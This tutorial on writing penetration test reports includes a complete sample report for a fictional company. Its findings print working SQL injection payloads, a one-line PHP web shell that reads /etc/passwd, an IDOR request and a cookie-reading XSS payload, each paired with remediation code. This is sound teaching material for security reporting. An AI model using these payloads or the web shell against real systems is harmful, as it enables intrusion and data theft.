Security Reporting : How to Write a Pentest Report That Matters

Table of Contents

1. What is Security Reporting?
2. Why is Reporting So Important?
3. Types of Security Reports
4. Structure of a Professional Report
   • Cover Page & Document Control
   • Executive Summary (Full Example)
   • Engagement Overview
   • Methodology Detail
   • Risk Rating Methodology
   • Findings Summary Dashboard
   • Detailed Findings (Multiple Examples)
   • Attack Chain Analysis
   • Remediation Roadmap
   • Retest Summary
   • Appendices
5. Report Writing Best Practices
6. Vulnerability Scoring Comparison
7. Reports for Compliance
8. Tools for Report Generation
9. Common Reporting Mistakes
10. Report Delivery & Follow-up

1. What is Security Reporting?

Security Reporting is the process of documenting and communicating the findings, impact, and remediation recommendations from a security assessment (penetration test, vulnerability assessment, or security audit).

The report is the most valuable deliverable in any security engagement. Without a clear, actionable report, even the most brilliant penetration test is useless.

A good report answers three questions:

1. What did you find? (Technical details)
2. Why does it matter? (Business impact)
3. What should we do about it? (Actionable remediation)

The Multi-Audience Problem

A single report must serve multiple audiences:

2. Why is Reporting So Important?

3. Types of Security Reports

4. Structure of a Professional Security Report

Section 1: Cover Page

┌─────────────────────────────────────────────────────────┐
│                                                         │
│              PENETRATION TEST FINAL REPORT               │
│                                                         │
│  Client Name:    ExampleCorp Inc.                       │
│  Engagement:     External Web Application Pen Test      │
│  Report Date:    July 28, 2026                          │
│  Classification: CONFIDENTIAL — CLIENT EYES ONLY         │
│                                                         │
│  Prepared by:    SecureTest Solutions                   │
│  Lead Tester:    John Smith, OSCP, GPEN                 │
│  Reviewed by:    Sarah Lee, CISSP                       │
│                                                         │
│  Version:        1.0                                    │
│  Reference:      ST-2026-042                            │
└─────────────────────────────────────────────────────────┘

Section 2: Document Control & Distribution

DOCUMENT CONTROL
─────────────────
Version  Date        Author    Changes
1.0      2026-07-28  J. Smith  Initial release
1.1      2026-08-05  J. Smith  Added retest results

DISTRIBUTION
─────────────
Recipient           Organization       Format
Jane Doe, CISO     ExampleCorp Inc.    PDF (encrypted)
Dev Team Lead      ExampleCorp Inc.    PDF (encrypted)
Project Manager    ExampleCorp Inc.    PDF (encrypted)
Legal Counsel      ExampleCorp Inc.    PDF (encrypted)
File (archive)     SecureTest          AES-256 encrypted

The recipient is responsible for the secure storage
and restricted distribution of this report.

Section 3: Table of Contents

TABLE OF CONTENTS
───────────────────
1.  Executive Summary ......................... 4
2.  Engagement Overview ....................... 6
3.  Scope & Rules of Engagement ............... 7
4.  Methodology ............................... 8
5.  Risk Rating Methodology ................... 9
6.  Findings Summary .......................... 10
7.  Detailed Findings ......................... 12
    7.1 Critical Findings .................... 12
    7.2 High Findings ........................ 18
    7.3 Medium Findings ...................... 25
    7.4 Low Findings ......................... 33
8.  Attack Chain Analysis ..................... 37
9.  Remediation Roadmap ....................... 39
10. Retest Summary ............................ 42
11. Appendices ................................ 44
    A. Raw Scan Data ......................... 44
    B. Tools Used ............................ 46
    C. Scope Documents ....................... 47
    D. Glossary .............................. 48

Section 4: Executive Summary (Full Example)

⚠️ CRITICAL: This is the most-read section. Executives often read ONLY this section. Make every word count.

EXECUTIVE SUMMARY
═══════════════════════════════════════════════════════════════

OVERVIEW
────────
SecureTest Solutions conducted an external penetration test of
ExampleCorp's web application (app.example.com) and associated
API (api.example.com) between July 20-24, 2026.

OVERALL RISK RATING: HIGH
─────────────────────────

A total of 14 vulnerabilities were identified:
  • Critical:  2
  • High:      4
  • Medium:    5
  • Low:       2
  • Info:      1

(Comparison to previous test (Jan 2026): 12 vulns → now 14.
  3 previously fixed, 5 new findings.)

CRITICAL FINDINGS: SUMMARY
───────────────────────────

1. SQL Injection in Login Endpoint (CVSS 9.8)
   - Unauthenticated attacker can dump the full database
   - Affects: POST /api/v2/login
   - Impact: 2.4M customer records at risk (PII + financial data)

2. Remote Code Execution via File Upload (CVSS 9.0)
   - Unauthenticated file upload allows PHP code execution
   - Affects: POST /api/v2/avatar/upload
   - Impact: Full server compromise → potential lateral movement

BUSINESS IMPACT
───────────────
If exploited, these vulnerabilities could result in:
  • Data breach of 2.4M customer records (PII)
  • PCI DSS non-compliance (credit card data exposure risk)
  • Estimated financial impact: $4M-$8M (breach + fines + reputation)
  • Regulatory penalties: Up to €20M (GDPR) + $500K (PCI DSS)

TOP RECOMMENDATIONS
───────────────────
1. Implement parameterized queries for all database operations
   (immediate — within 24 hours)
2. Sanitize file upload inputs; validate server-side
   (immediate — within 24 hours)
3. Apply security patches — Apache is 2 versions behind
   (within 7 days)
4. Implement Web Application Firewall (WAF) as defense-in-depth
   (within 30 days)
5. Establish a security champion program in the development team
   (ongoing)

POSITIVE FINDINGS
─────────────────
• HTTPS enforced correctly — no mixed content
• CSRF tokens present on all state-changing forms
• Session timeout configured at 15 minutes (good practice)
• Rate limiting present on password reset endpoint

CONCLUSION
──────────
ExampleCorp's application has significant security gaps that
require immediate attention. The critical vulnerabilities pose
a direct risk to customer data and regulatory compliance.
However, the existing security baseline (HTTPS, CSRF, rate
limiting) suggests the development team has security awareness
— the issues are fixable with proper training and tooling.

Section 5: Engagement Overview

Section 6: Scope & Rules of Engagement Summary

SCOPE SUMMARY
──────────────
In-Scope:
  - app.example.com (web app, production)
  - api.example.com (REST API, production)
  - 203.0.113.0/25 (web server subnet)

Out-of-Scope:
  - payments.example.com (PCI scope)
  - hr.example.com (PII data)
  - Any third-party services

PERMITTED TECHNIQUES
─────────────────────
  - Port scanning, service enumeration
  - Web app vulnerability scanning (OWASP Top 10)
  - Manual exploitation (non-destructive)
  - Password spraying (max 5 attempts/account/day)

RESTRICTED
──────────
  - SQL injection on write queries (required approval — granted)
  - Stored XSS (required approval — NOT granted)

PROHIBITED
──────────
  - Denial of Service
  - Data exfiltration
  - Social engineering

Section 7: Methodology Detail

PHASE 1: RECONNAISSANCE (Day 1)
  Passive OSINT: Shodan, crt.sh, Google Dorking, Wayback Machine
  Active Scanning: nmap -sS -sV -p- (full port scan)
  Subdomain Enumeration: gobuster dns, Sublist3r

PHASE 2: ENUMERATION (Day 1-2)
  Web Enumeration: Gobuster, Nikto, curl parameter discovery
  API Enumeration: Custom scripts, Burp Suite parameter extraction
  Technology Stack: WhatWeb, Wappalyzer
  Authentication Test: Password spraying, user enumeration

PHASE 3: VULNERABILITY ASSESSMENT (Day 2-3)
  Automated: Burp Suite Pro active scan, Nikto
  Manual: OWASP Top 10 checklist
  Business Logic: Custom test cases per application flow

PHASE 4: EXPLOITATION (Day 3-4)
  SQL Injection: Time-based blind extraction
  File Upload: PHP shell upload (PoC — demonstrated, deleted)
  Auth Bypass: Cookie manipulation

PHASE 5: POST-EXPLOITATION (Day 4)
  Privilege Escalation: sudo misconfigurations
  Lateral Movement: SSH key discovery (documented only)

PHASE 6: REPORTING (Day 5)
  Evidence collation
  Report generation
  Peer review

Section 8: Risk Rating Methodology

CVSS Vector Example Used in This Report:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Score: 9.8 (Critical)

Meaning:
  - Attack Vector: Network (exploitable remotely)
  - Attack Complexity: Low (no special conditions)
  - Privileges Required: None (unauthenticated)
  - User Interaction: None (no user action needed)
  - Scope: Unchanged
  - Confidentiality: High
  - Integrity: High
  - Availability: High

Section 9: Findings Summary (Visual Dashboard)

FINDINGS OVERVIEW
══════════════════

By Severity:
Critical  ████████████████████    2  (14%)
High      ████████████████████████████████    4  (29%)
Medium    ████████████████████████████████████████████    5  (36%)
Low       ████████████████████    2  (14%)
Info      ████████    1  (7%)

By Category:
Injection Attacks      ██████████████████    3  (21%)
Authentication Flaws   ██████████████    2  (14%)
XSS / Client-side      ██████████████    2  (14%)
Misconfiguration       ██████████████████████    4  (29%)
Outdated Software      ██████████████████    3  (21%)
Other                  ████    1  (7%)

By OWASP Top 10 Category:
A01: Broken Access Control      ████████████████    2
A03: Injection                  ████████████████████████    3
A05: Misconfiguration           ██████████████████████████████████    4
A06: Vulnerable Components      ████████████████████    3
A07: Auth Failures              ████████████████    2

Section 10: Detailed Findings (Multiple Examples)

Finding #1: Critical — SQL Injection

──────────────────────────────────────────────────────────────────
FINDING PT-2026-001    CRITICAL (CVSS 9.8)
──────────────────────────────────────────────────────────────────

Title:        SQL Injection in Login Endpoint
Location:     POST /api/v2/login
Parameter:    username
CVE:          N/A (custom application)
Category:     Injection
Status:       OPEN

DESCRIPTION:
─────────────
The login endpoint is vulnerable to time-based blind SQL injection.
The "username" parameter is directly concatenated into SQL queries
without parameterization or input validation. An attacker can inject
arbitrary SQL commands.

IMPACT:
───────
An unauthenticated attacker can:
  - Extract the entire database contents
  - Access 2.4M customer records (PII: names, emails, addresses)
  - Retrieve hashed passwords (SHA-256 with salt — moderate security)
  - Access financial data (last 4 digits of credit cards)
  - Escalate to database administrative access
  - Potentially gain code execution via xp_cmdshell (MSSQL)

STEPS TO REPRODUCE:
────────────────────
1. Open Burp Suite and configure browser proxy
2. Navigate to https://app.example.com/login
3. Submit invalid credentials and capture POST /api/v2/login
4. Modify the username parameter:

   username=admin' OR (SELECT sleep(5) FROM users)='

5. Observe 5-second delay in response
6. Confirm by reversing the condition:

   username=admin' OR (SELECT sleep(5) FROM users WHERE 1=2)='

7. No delay → SQL injection CONFIRMED

PROOF OF CONCEPT:
──────────────────
Request:
  POST /api/v2/login HTTP/1.1
  Host: app.example.com
  Content-Type: application/json

  {"username": "admin' OR (SELECT sleep(5) FROM users)='",
   "password": "anything"}

Response Time: 5,018 ms (✅ vulnerable — sleep confirmed)
Control Response Time: 47 ms (✅ not vulnerable — no delay)

DATA EXTRACTION (PoC — 2 column names only):
  Parameter: admin' UNION SELECT column_name,1 FROM information_
             schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0--
  Response:  [{"id":1, "username":"id", "password":"int(11)"}] 

  Parameter: admin' UNION SELECT column_name,1 FROM information_
             schema.columns WHERE table_name='users' LIMIT 1 OFFSET 1--
  Response:  [{"id":1, "username":"email", "password":"varchar(255)"}]

REMEDIATION — IMMEDIATE (24 hours):
────────────────────────────────────
1. Implement parameterized queries / prepared statements IMMEDIATELY

   ❌ VULNERABLE (PHP):
     $sql = "SELECT * FROM users WHERE username = '" . $username . "'";
     $result = mysqli_query($conn, $sql);

   ✅ FIXED (PHP — PDO):
     $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
     $stmt->execute(['username' => $username]);

2. Apply principle of least privilege: DB account for this app
   should NOT have SELECT on all tables — restrict to necessary access

3. Enable WAF rules to detect and block SQL injection patterns
   (ModSecurity CRS rule set recommended)

4. Add input validation — reject input containing SQL keywords
   as defense-in-depth (NOT a substitute for parameterization)

5. Review ALL other database queries in the application for
   similar injection vulnerabilities

REFERENCES:
───────────
- OWASP SQL Injection Prevention: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
- OWASP Parameterized Queries: https://owasp.org/www-community/How_to_prevent_SQLi
- PortSwigger SQLi Cheat Sheet: https://portswigger.net/web-security/sql-injection/cheat-sheet

Finding #2: Critical — Remote Code Execution

──────────────────────────────────────────────────────────────────
FINDING PT-2026-002    CRITICAL (CVSS 9.0)
──────────────────────────────────────────────────────────────────

Title:        Remote Code Execution via File Upload
Location:     POST /api/v2/avatar/upload
Parameter:    file (multipart)
CVE:          N/A (custom application)
Category:     Unrestricted File Upload
Status:       OPEN

DESCRIPTION:
─────────────
The avatar upload endpoint accepts PHP files without proper file
type validation. The server performs only client-side (JavaScript)
file type checking, which can be trivially bypassed. The uploaded
file is stored in /uploads/avatars/ with the original extension.

IMPACT:
───────
An unauthenticated attacker can:
  - Upload a PHP web shell
  - Execute arbitrary commands on the server
  - Read /etc/shadow (Linux password hashes)
  - Access the file system — potentially reading configuration
    files containing database credentials
  - Use the compromised server for lateral movement

STEPS TO REPRODUCE:
────────────────────
1. Create a PHP file named shell.php:
   <?php system($_GET['cmd']); ?>

2. Intercept the avatar upload request in Burp Suite
3. Modify the Content-Type from image/jpeg to ignore client checks
4. Upload shell.php

5. Navigate to:
   https://app.example.com/uploads/avatars/shell.php?cmd=id

6. Observe output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

PROOF OF CONCEPT:
──────────────────
Request:
  POST /api/v2/avatar/upload HTTP/1.1
  Host: app.example.com

  ------WebKitFormBoundary
  Content-Disposition: form-data; name="file"; filename="shell.php"
  Content-Type: image/jpeg      ← (forged)

  <?php system($_GET['cmd']); ?>

Response:
  {"status":"success","path":"/uploads/avatars/shell_abc123.php"}

Command Execution:
  https://app.example.com/uploads/avatars/shell_abc123.php?cmd=cat+/etc/passwd
  ↓
  root:x:0:0:root:/root:/bin/bash
  www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  ...

REMEDIATION — IMMEDIATE (24 hours):
────────────────────────────────────
1. Implement server-side file type validation:
   - Validate MIME type using file magic bytes (not Content-Type header)
   - Validate file extension against a whitelist (jpg, png, gif)
   - Rename uploaded files — do NOT use the user-supplied filename

2. Store uploads outside the web root:
   ❌ /var/www/html/uploads/shell.php  (EXECUTABLE)
   ✅ /var/uploads/abc123.jpg          (NOT accessible via HTTP)

3. Serve uploads via a script that sets Content-Type explicitly:
   header('Content-Type: image/jpeg');
   readfile('/var/uploads/abc123.jpg');

4. Disable PHP execution in upload directories:
   <Directory /var/www/html/uploads>
       php_admin_flag engine off
   </Directory>

5. Implement file size limits (100KB max for avatars)

6. Scan uploaded files with antivirus/malware scanner (ClamAV)

REFERENCES:
───────────
- OWASP File Upload Cheat Sheet
- OWASP Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

Finding #3: High — Broken Access Control

──────────────────────────────────────────────────────────────────
FINDING PT-2026-003    HIGH (CVSS 8.1)
──────────────────────────────────────────────────────────────────

Title:        Insecure Direct Object Reference (IDOR) in Profile API
Location:     GET /api/v2/user/{user_id}/profile
Parameter:    user_id (path)
CVE:          N/A
Category:     Broken Access Control
Status:       OPEN

DESCRIPTION:
─────────────
The user profile endpoint accepts a numeric user_id parameter
and returns the corresponding user's profile without verifying
that the authenticated user is authorized to view that profile.

IMPACT:
───────
An authenticated attacker can:
  - View ANY user's profile by changing the user_id
  - Access email addresses, phone numbers, addresses
  - Potentially escalate by viewing admin account details

STEPS TO REPRODUCE:
────────────────────
1. Log in as user "alice" (uid=102)
2. Intercept GET /api/v2/user/102/profile — returns Alice's data
3. Change user_id to 1:
   GET /api/v2/user/1/profile
4. Receive admin user's profile data (name, email, phone, role)

PROOF OF CONCEPT:
──────────────────
Request:
  GET /api/v2/user/1/profile HTTP/1.1
  Host: api.example.com
  Cookie: session=VALID_SESSION_FOR_ALICE

Response:
  {
    "user_id": 1,
    "username": "admin",
    "email": "admin@example.com",
    "role": "administrator",
    "last_login": "2026-07-19T08:30:00Z",
    "phone": "+1-555-9999"
  }

REMEDIATION (Within 7 days):
────────────────────────────
1. Implement access control checks on the server side:
   - Compare the requested user_id against the authenticated user's ID
   - Or check that the user has the "admin" role to view other profiles

   ❌ VULNERABLE:
     $user = $db->query("SELECT * FROM users WHERE id = " . $_GET['user_id']);
     return json_encode($user);

   ✅ FIXED (Laravel):
     $profile = User::findOrFail($request->user_id);
     if ($request->user()->id !== $profile->id &&
         !$request->user()->isAdmin()) {
         abort(403, 'Unauthorized');
     }
     return response()->json($profile);

2. Use UUIDs instead of sequential IDs for user identifiers
3. Implement proper role-based access control (RBAC)

REFERENCES:
───────────
- OWASP A01:2021 — Broken Access Control
- OWASP IDOR Prevention: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html

Finding #4: Medium — Stored XSS

──────────────────────────────────────────────────────────────────
FINDING PT-2026-004    MEDIUM (CVSS 6.1)
──────────────────────────────────────────────────────────────────

Title:        Stored Cross-Site Scripting (XSS) in Comment Field
Location:     POST /api/v2/comments
Parameter:    text
CVE:          N/A
Category:     Cross-Site Scripting
Status:       OPEN

DESCRIPTION:
─────────────
User-supplied comments are stored in the database and rendered
on the public product page without HTML encoding. An attacker can
inject JavaScript code that executes in other users' browsers.

IMPACT:
───────
An attacker can steal session cookies, redirect users to
phishing sites, or perform actions as the victim user.

STEPS TO REPRODUCE:
────────────────────
1. Submit a comment with payload:
   <script>alert(document.cookie)</script>
2. View the product page — JavaScript executes
3. Other users viewing the same product also execute the script

REMEDIATION (Within 14 days):
─────────────────────────────
1. HTML-encode all user input before rendering (server-side)
2. Implement Content Security Policy (CSP) header
3. Use output encoding libraries (OWASP Java Encoder, PHP htmlspecialchars)

REFERENCES:
───────────
- OWASP XSS Prevention: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Section 11: Attack Chain Analysis

The most dangerous attacks often chain multiple low/medium findings:

ATTACK CHAIN: From Comment XSS to Full Server Compromise
═════════════════════════════════════════════════════════

Step 1: Stored XSS (PT-2026-004)  [MEDIUM]
└─ Inject <script> in a product comment
   └─ When an admin views the comment, their session cookie is stolen

Step 2: IDOR (PT-2026-003)        [HIGH]
└─ Use the admin's session to access all user profiles
   └─ Extract email addresses for targeted phishing

Step 3: SQL Injection (PT-2026-001)  [CRITICAL]
└─ Use extracted admin credentials (phished) or knowledge from
   IDOR to exploit SQL injection with admin-level privileges
   └─ Full database dump

Step 4: RCE via File Upload (PT-2026-002)  [CRITICAL]
└─ Using DB credentials found in /etc/passwd, SSH into server
   Upload webshell → Full server compromise
   └─ Lateral movement into the internal network

══ RESULT ══
Critical business impact achieved through chaining
Medium + High + Critical findings together.
Each individual finding is concerning; the chain is devastating.

Section 12: Remediation Roadmap

REMEDIATION ROADMAP
══════════════════════

IMMEDIATE (24-48 hours)
───────────────────────
Priority | ID   | Vulnerability               | Effort | Owner
P0       | 001  | SQL Injection — Login       | 2 days | Dev Team
P0       | 002  | RCE — File Upload           | 1 day  | Dev Team

SHORT-TERM (7 days)
────────────────────
Priority | ID   | Vulnerability               | Effort | Owner
P1       | 003  | IDOR — Profile Access       | 3 days | Dev Team
P1       | 005  | Weak Password Policy        | 1 day  | Security
P1       | 006  | Missing Rate Limiting       | 1 day  | Dev Team

MEDIUM-TERM (30 days)
──────────────────────
Priority | ID   | Vulnerability               | Effort | Owner
P2       | 004  | Stored XSS — Comments       | 2 days | Dev Team
P2       | 007  | Missing CSP Header          | 4 hrs  | DevOps
P2       | 008  | TLS 1.0 Enabled             | 2 hrs  | DevOps
P2       | 009  | CORS Misconfiguration       | 1 day  | Dev Team

LONG-TERM (90 days)
────────────────────
Priority | ID   | Vulnerability               | Effort | Owner
P3       | 010  | Information Disclosure      | 1 day  | Dev Team
P3       | 011  | Missing Audit Logging       | 5 days | Dev Team
P4       | 012  | Outdated Apache             | 2 hrs  | DevOps

Section 13: Retest Summary

RETEST SUMMARY (Performed August 5, 2026)
══════════════════════════════════════════

ID   | Vulnerability                | Original | Retest      | Notes
001  | SQL Injection — Login        | Critical | ✅ FIXED    | Parameterized queries implemented
002  | RCE — File Upload            | Critical | ✅ FIXED    | Server-side validation added
003  | IDOR — Profile Access        | High     | ⚠️ PARTIAL  | User check added, but admin bypass still works
004  | Stored XSS                   | Medium   | ❌ NOT FIXED| No changes observed
005  | Weak Password Policy         | High     | ✅ FIXED    | Now requires 12-char, special chars
006  | Missing Rate Limiting        | High     | ✅ FIXED    | 10 req/min limit applied
007  | Missing CSP Header           | Medium   | ✅ FIXED    | CSP policy implemented
008  | TLS 1.0 Enabled              | Medium   | ✅ FIXED    | TLS 1.0 disabled
009  | CORS Misconfiguration        | High     | ❌ NOT FIXED| No change
010  | Information Disclosure       | Low      | ✅ FIXED    | Apache ServerTokens set to Prod

SUMMARY:
  Critical: 2 → 0 (✅ ALL FIXED)
  High:     4 → 2 (✅ 2 fixed, ⚠️ 1 partial, ❌ 1 not fixed)
  Medium:   5 → 3 (✅ 3 fixed, ❌ 2 not fixed)
  Low:      2 → 1 (✅ 1 fixed, ❌ 1 not fixed)

RECOMMENDATION: Schedule a follow-up retest for the 3 unfixed items.

Section 14: Appendices

Appendix A: Raw Scan Data

nmap -sS -sV -p- app.example.com
─────────────────────────────────
PORT    STATE    SERVICE    VERSION
22/tcp  filtered ssh        -
80/tcp  open     http       Apache httpd 2.4.49
443/tcp open     http       Apache httpd 2.4.49
3306/tcp filtered mysql     -

Appendix B: Tools Used

Appendix C: Scope Documents (see Tutorials 5 & 6)

Appendix D: Glossary

5. Report Writing Best Practices (Expanded)

Dos

• ✅ Know your audience — Write the executive summary in business language, technical findings in developer language
• ✅ Use screenshots — A screenshot of the exploit working is worth 1000 words of description (redact sensitive data)
• ✅ Include reproducible steps — Someone else should be able to verify the finding from your report alone
• ✅ Be specific in remediation — Don't say "fix XSS"; say "In file profile.php line 42, HTML-encode user input with htmlspecialchars() before rendering"
• ✅ Use consistent terminology — Choose a standard (CVSS, OWASP Risk Rating) and stay consistent
• ✅ Number findings — Allows easy reference in meetings, emails, and ticketing systems
• ✅ Review for false positives — Every finding should be validated before inclusion
• ✅ Provide positive findings too — Acknowledge what the client is doing right
• ✅ Use graphs/charts — Visual summaries are more impactful than text for trends
• ✅ Peer review the report — Have another tester review for errors, omissions, and clarity

Don'ts

• ❌ Use vague language — "some security issues" is meaningless
• ❌ Overload the executive summary with technical jargon — "CVSS:3.1/AV:N/AC:L" means nothing to a board member
• ❌ Include unvalidated scanner output — Scanner noise wastes the client's time
• ❌ Expose actual customer data in screenshots or evidence — Use synthetic data or redact
• ❌ Assign critical ratings without justification — Every rating needs an explanation
• ❌ Forget to proofread — Typos and formatting errors undermine professional credibility
• ❌ Bury the important findings — Critical issues should be front and center, not on page 47
• ❌ Recommend impossible fixes — "Rewrite the application" is not actionable

6. Vulnerability Scoring Comparison

CVSS vs. OWASP Risk Rating:

Finding: SQL Injection
──────────────────────
CVSS Score: 9.8 (Critical) — based purely on technical metrics
OWASP Risk Rating:
  Likelihood: High (public exploit available, no auth required)
  Impact:     High (full database compromise)
  Overall:    Critical

Both agree: CRITICAL. But OWASP adds business context.

7. Reports for Compliance

Different compliance frameworks have specific reporting requirements:

PCI DSS v4.0 Report Requirements

• Scope of test must match CDE (Card Data Environment)
• Report must include all in-scope systems and results
• Any finding with CVSS ≥ 4.0 is a finding (not just Critical/High)
• Compensating controls must be documented
• ASV (Approved Scanning Vendor) scans are separate from penetration tests

SOC 2 Report Requirements

• Narrative of testing methodology
• Evidence of control testing
• Gap analysis against Trust Services Criteria (Security, Availability, Processing, Confidentiality, Privacy)
• Management response and remediation plan

HIPAA Security Rule

• Risk analysis must be documented
• Addressable vs. required implementation specifications
• Must include both technical and non-technical safeguards
• Periodic review and updates required

8. Tools for Report Generation

9. Common Reporting Mistakes (With Real Examples)

10. Report Delivery & Follow-up